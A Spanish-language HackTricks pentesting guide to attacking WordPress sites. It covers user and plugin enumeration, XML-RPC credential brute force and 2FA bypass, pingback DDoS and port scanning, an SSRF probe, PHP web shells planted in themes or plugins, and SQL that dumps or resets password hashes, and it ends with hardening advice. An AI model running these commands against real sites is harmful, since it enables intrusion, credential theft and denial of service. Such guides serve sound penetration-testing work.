# Wordpress
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com) * **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
![](../.gitbook/assets/image%20\(9\)%20\(1\)%20\(2\).png) \ Usa [**Trickest**](https://trickest.io/) para construir y **automatizar flujos de trabajo** con las herramientas de la comunidad más avanzadas del mundo.\ Obtén acceso hoy: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## Información básica Los archivos **subidos** van a: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`\ Los archivos de **temas se pueden encontrar en /wp-content/themes/**, por lo que si cambias algún archivo php del tema para obtener RCE, probablemente usarás esa ruta. Por ejemplo: Usando el **tema twentytwelve** puedes **acceder** al archivo **404.php** en: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)\ **Otra URL útil podría ser:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) En **wp-config.php** puedes encontrar la contraseña raíz de la base de datos. Rutas de inicio de sesión predeterminadas para comprobar: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ ### **Archivos principales de WordPress** * `index.php` * `license.txt` contiene información útil como la versión de WordPress instalada. * `wp-activate.php` se utiliza para el proceso de activación por correo electrónico al configurar un nuevo sitio de WordPress. * Carpetas de inicio de sesión (pueden ser renombradas para ocultarlas): * `/wp-admin/login.php` * `/wp-admin/wp-login.php` * `/login.php` * `/wp-login.php` * `xmlrpc.php` es un archivo que representa una característica de WordPress que permite transmitir datos con HTTP actuando como mecanismo de transporte y XML como mecanismo de codificación. Este tipo de comunicación ha sido reemplazado por la [API REST](https://developer.wordpress.org/rest-api/reference) de WordPress. * La carpeta `wp-content` es el directorio principal donde se almacenan los plugins y temas. * `wp-content/uploads/` es el directorio donde se almacenan los archivos cargados en la plataforma. * `wp-includes/` Este es el directorio donde se almacenan los archivos principales, como certificados, fuentes, archivos JavaScript y widgets. **Post explotación** * El archivo `wp-config.php` contiene información requerida por WordPress para conectarse a la base de datos, como el nombre de la base de datos, el host de la base de datos, el nombre de usuario y la contraseña, las claves y sales de autenticación y el prefijo de la tabla de la base de datos. Este archivo de configuración también se puede utilizar para activar el modo DEBUG, que puede ser útil para solucionar problemas. ### Permisos de usuarios * **Administrador** * **Editor**: Publica y gestiona sus propias publicaciones y las de otros. * **Autor**: Publica y gestiona sus propias publicaciones. * **Colaborador**: Escribe y gestiona sus publicaciones, pero no puede publicarlas. * **Suscriptor**: Navega por las publicaciones y edita su perfil. ## Enumeración pasiva ### Obtener la versión de WordPress Comprueba si puedes encontrar los archivos `/license.txt` o `/readme.html` Dentro del **código fuente** de la página (ejemplo de [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)): * grep ```bash curl https://victim.com/ | grep 'content="WordPress' ``` * `meta name` ![](<../../.gitbook/assets/image (343).png>) * Archivos de enlace CSS ![](<../../.gitbook/assets/image (344).png>) * Archivos de JavaScript ![](<../../.gitbook/assets/image (346).png>) ### Obtener Plugins ```bash curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` ### Obtener Temas ```bash curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` ### Extraer versiones en general ```bash curl -s -X GET https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` ![](../.gitbook/assets/image%20\(9\)%20\(1\)%20\(2\).png) \ Utilice [**Trickest**](https://trickest.io/) para construir y automatizar fácilmente flujos de trabajo impulsados por las herramientas comunitarias más avanzadas del mundo.\ Obtenga acceso hoy mismo: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## Enumeración activa ### Plugins y temas Probablemente no podrás encontrar todos los Plugins y Temas posibles. Para descubrir todos ellos, deberás **realizar un ataque de fuerza bruta activo a una lista de Plugins y Temas** (afortunadamente para nosotros, existen herramientas automatizadas que contienen estas listas). ### Usuarios **Ataque de fuerza bruta a IDs** Puedes obtener usuarios válidos de un sitio de WordPress mediante un ataque de fuerza bruta a los IDs de los usuarios: ``` curl -s -I -X GET http://blog.example.com/?author=1 ``` Si las respuestas son **200** o **30X**, significa que el id es **válido**. Si la respuesta es **400**, entonces el id es **inválido**. **wp-json** También puedes intentar obtener información sobre los usuarios haciendo consultas: ``` curl http://blog.example.com/wp-json/wp/v2/users ``` **Solo se proporcionará información sobre los usuarios que tengan esta función habilitada**. También tenga en cuenta que **/wp-json/wp/v2/pages** podría filtrar direcciones IP. #### Enumeración de nombres de usuario de inicio de sesión Al iniciar sesión en **`/wp-login.php`**, el **mensaje** es **diferente** si el **nombre de usuario indicado existe o no**. ### XML-RPC Si `xml-rpc.php` está activo, puede realizar una fuerza bruta de credenciales o usarlo para lanzar ataques DoS a otros recursos. (Puede automatizar este proceso [usando esto](https://github.com/relarizky/wpxploit), por ejemplo). Para ver si está activo, intente acceder a _**/xmlrpc.php**_ y envíe esta solicitud: **Comprobar** ```markup system.listMethods ``` ![](https://h3llwings.files.wordpress.com/2019/01/list-of-functions.png?w=656) **Fuerza bruta de credenciales** **`wp.getUserBlogs`**, **`wp.getCategories`** o **`metaWeblog.getUsersBlogs`** son algunos de los métodos que se pueden utilizar para realizar una fuerza bruta de credenciales. Si puedes encontrar alguno de ellos, puedes enviar algo como: ```markup wp.getUsersBlogs admin pass ``` El mensaje _"Nombre de usuario o contraseña incorrectos"_ dentro de una respuesta de código 200 debería aparecer si las credenciales no son válidas. ![](<../../.gitbook/assets/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) ![](<../../.gitbook/assets/image (102).png>) Usando las credenciales correctas, se puede subir un archivo. En la respuesta aparecerá la ruta ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982)) ```markup wp.uploadFile 1 username password name filename.jpg type mime/type bits ``` También hay una **forma más rápida** de hacer fuerza bruta de credenciales usando **`system.multicall`** ya que puedes probar varias credenciales en la misma solicitud:
**Bypass 2FA** Este método está destinado a programas y no a humanos, y es antiguo, por lo tanto, no admite 2FA. Entonces, si tiene credenciales válidas pero la entrada principal está protegida por 2FA, **es posible que pueda abusar de xmlrpc.php para iniciar sesión con esas credenciales evitando 2FA**. Tenga en cuenta que no podrá realizar todas las acciones que puede hacer a través de la consola, pero aún así puede llegar a RCE como lo explica Ippsec en [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s) **DDoS o escaneo de puertos** Si puede encontrar el método _**pingback.ping**_ dentro de la lista, puede hacer que Wordpress envíe una solicitud arbitraria a cualquier host/puerto.\ Esto se puede usar para pedirle a **miles** de sitios de **Wordpress** que **accedan** a una **ubicación** (por lo que se causa un **DDoS** en esa ubicación) o puede usarlo para hacer que **Wordpress** **escanee** alguna red interna (puede indicar cualquier puerto). ```markup pingback.ping http://: http:// ``` Si obtienes un **faultCode** con un valor **mayor** que **0** (17), significa que el puerto está abierto. Echa un vistazo al uso de **`system.multicall`** en la sección anterior para aprender cómo abusar de este método para causar un DDoS. **DDoS** ```markup pingback.ping http://target/ http://yoursite.com/and_some_valid_blog_post_url ``` ![](<../../.gitbook/assets/image (103).png>) ### DoS en wp-cron.php Este archivo suele estar en la raíz del sitio de Wordpress: **`/wp-cron.php`**\ Cuando se **accede** a este archivo, se realiza una consulta MySQL "**pesada**", por lo que podría ser utilizado por **atacantes** para **causar** un **DoS**.\ Además, por defecto, `wp-cron.php` se llama en cada carga de página (cada vez que un cliente solicita cualquier página de Wordpress), lo que en sitios de alto tráfico puede causar problemas (DoS). Se recomienda desactivar Wp-Cron y crear un cronjob real dentro del host que realice las acciones necesarias en un intervalo regular (sin causar problemas). ### /wp-json/oembed/1.0/proxy - SSRF Intenta acceder a _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ y el sitio de Worpress puede hacer una solicitud a ti. Esta es la respuesta cuando no funciona: ![](<../../.gitbook/assets/image (184) (1).png>) ### SSRF {% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %} Esta herramienta verifica si el **methodName: pingback.ping** y para la ruta **/wp-json/oembed/1.0/proxy** existen, y si es así, intenta explotarlos. ### Herramientas Automáticas ```bash cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0" wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs) #You can try to bruteforce the admin user using wpscan with "-U admin" ``` ![](../.gitbook/assets/image%20\(9\)%20\(1\)%20\(2\).png) \ Utilice [**Trickest**](https://trickest.io/) para construir y **automatizar flujos de trabajo** con las herramientas de la comunidad **más avanzadas del mundo**.\ Obtenga acceso hoy mismo: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## Obtenga acceso sobrescribiendo un bit Más que un ataque real, esto es una curiosidad. En el CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) se podía cambiar 1 bit de cualquier archivo de Wordpress. Por lo tanto, se podría cambiar la posición `5389` del archivo `/var/www/html/wp-includes/user.php` para anular la operación NOT (`!`). ```php if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) { return new WP_Error( ``` ## **Panel RCE** **Modificando un archivo php del tema utilizado (se necesitan credenciales de administrador)** Apariencia → Editor de temas → Plantilla 404 (a la derecha) Cambiar el contenido por una shell php: ![](<../../.gitbook/assets/image (21) (1) (1).png>) Busca en internet cómo puedes acceder a esa página actualizada. En este caso, debes acceder aquí: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) ### MSF Puedes usar: ``` use exploit/unix/webapp/wp_admin_shell_upload ``` ## Plugin RCE ### Plugin PHP Es posible subir archivos .php como plugin.\ Crea tu backdoor php usando, por ejemplo: ![](<../../.gitbook/assets/image (407).png>) Luego agrega un nuevo plugin: ![](<../../.gitbook/assets/image (409).png>) Sube el plugin y presiona Instalar ahora: ![](<../../.gitbook/assets/image (411).png>) Haz clic en Proceder: ![](<../../.gitbook/assets/image (412).png>) Probablemente esto no haga nada aparentemente, pero si vas a Media, verás que tu shell ha sido subido: ![](<../../.gitbook/assets/image (413).png>) Accede a él y verás la URL para ejecutar el reverse shell: ![](<../../.gitbook/assets/image (414).png>) ### Subiendo y activando un plugin malicioso **(Esta parte está copiada de** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)**)** A veces los usuarios no tienen autorización de escritura para hacer modificaciones en el tema de WordPress, por lo que elegimos "Inyectar plugin malicioso de WP" como una estrategia alternativa para adquirir un web shell. Entonces, una vez que tengas acceso al panel de control de WordPress, puedes intentar instalar un plugin malicioso. Aquí ya he descargado el plugin vulnerable de exploit db. Haz clic [**aquí**](https://www.exploit-db.com/exploits/36374) para descargar el plugin para practicar. ![](https://i1.wp.com/1.bp.blogspot.com/-Y\_Aw7zSFJZs/XY9pymSjdvI/AAAAAAAAguY/FGyGEzlx9VIqNYyyra9r55IklNmwXwMQwCLcBGAsYHQ/s1600/10.png?w=687\&ssl=1) Ya que tenemos el archivo zip del plugin, es hora de subirlo. Panel de control > plugins > subir plugin ![](https://i0.wp.com/1.bp.blogspot.com/-FLhqB0I32Mg/XY9pyrlKWAI/AAAAAAAAguU/tofpIetTCv4Mho5y5D\_sDuuokC7mDmKowCLcBGAsYHQ/s1600/11.png?w=687\&ssl=1) Busca el archivo zip descargado como se muestra. ![](https://i2.wp.com/1.bp.blogspot.com/-KMumiwE2Tf0/XY9pzznEI4I/AAAAAAAAguk/BavBJP6plFo8NIpa38oWEKfx0jkOXv3HgCLcBGAsYHQ/s1600/12.png?w=687\&ssl=1) Una vez que el paquete se instala correctamente, necesitamos activar el plugin. ![](https://i2.wp.com/1.bp.blogspot.com/-YrFg94Y2EZs/XY9pzydfLDI/AAAAAAAAgug/AjZyQ6Na8kUUmquJXwoapxcmr2-8nAMwQCLcBGAsYHQ/s1600/13.png?w=687\&ssl=1) Cuando todo esté bien configurado, procede a explotar. Ya que hemos instalado el plugin vulnerable llamado "reflex-gallery" y es fácilmente explotable. Obtendrás el exploit para esta vulnerabilidad dentro del framework Metasploit y, por lo tanto, carga el siguiente módulo y ejecuta el siguiente comando: Una vez que se ejecutan los comandos anteriores, tendrás tu sesión de meterpreter. Tal como se describe en este artículo, hay múltiples métodos para explotar un sitio web con plataforma WordPress. ![](https://i1.wp.com/1.bp.blogspot.com/-s6Yblqj-zQ8/XY9pz0qYWAI/AAAAAAAAguo/WXgEBKIB64Ian\_RQWaltbEtdzCNpexKOwCLcBGAsYHQ/s1600/14.png?w=687\&ssl=1) ## Post Explotación Extraer nombres de usuario y contraseñas: ```bash mysql -u --password= -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;" ``` Cambiar la contraseña de administrador: Para cambiar la contraseña de administrador en WordPress, sigue los siguientes pasos: 1. Inicia sesión en el panel de administración de WordPress con tu cuenta de administrador. 2. Haz clic en "Usuarios" en el menú de la izquierda. 3. Haz clic en "Editar" debajo del nombre de usuario "admin". 4. En la sección "Nueva contraseña", introduce la nueva contraseña que deseas utilizar. 5. Haz clic en "Actualizar perfil" para guardar los cambios. Una vez que hayas cambiado la contraseña, asegúrate de guardarla en un lugar seguro. ```bash mysql -u --password= -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;" ``` ## Protección de WordPress ### Actualizaciones regulares Asegúrese de que WordPress, los plugins y los temas estén actualizados. También confirme que la actualización automática esté habilitada en wp-config.php: ```bash define( 'WP_AUTO_UPDATE_CORE', true ); add_filter( 'auto_update_plugin', '__return_true' ); add_filter( 'auto_update_theme', '__return_true' ); ``` También, **solo instale plugins y temas de WordPress confiables**. ### Plugins de seguridad * [**Wordfence Security**](https://wordpress.org/plugins/wordfence/) * [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/) * [**iThemes Security**](https://wordpress.org/plugins/better-wp-security/) ### **Otras recomendaciones** * Elimine el usuario predeterminado **admin** * Use **contraseñas fuertes** y **2FA** * Revise periódicamente los **permisos** de los usuarios * **Limite los intentos de inicio de sesión** para prevenir ataques de fuerza bruta * Renombre el archivo **`wp-admin.php`** y solo permita el acceso internamente o desde ciertas direcciones IP. ![](../.gitbook/assets/image%20\(9\)%20\(1\)%20\(2\).png) \ Use [**Trickest**](https://trickest.io/) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\ Obtenga acceso hoy: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * ¿Trabaja en una **empresa de ciberseguridad**? ¿Quiere ver su **empresa anunciada en HackTricks**? ¿O quiere tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtenga el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com) * **Únase al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígame** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Comparta sus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).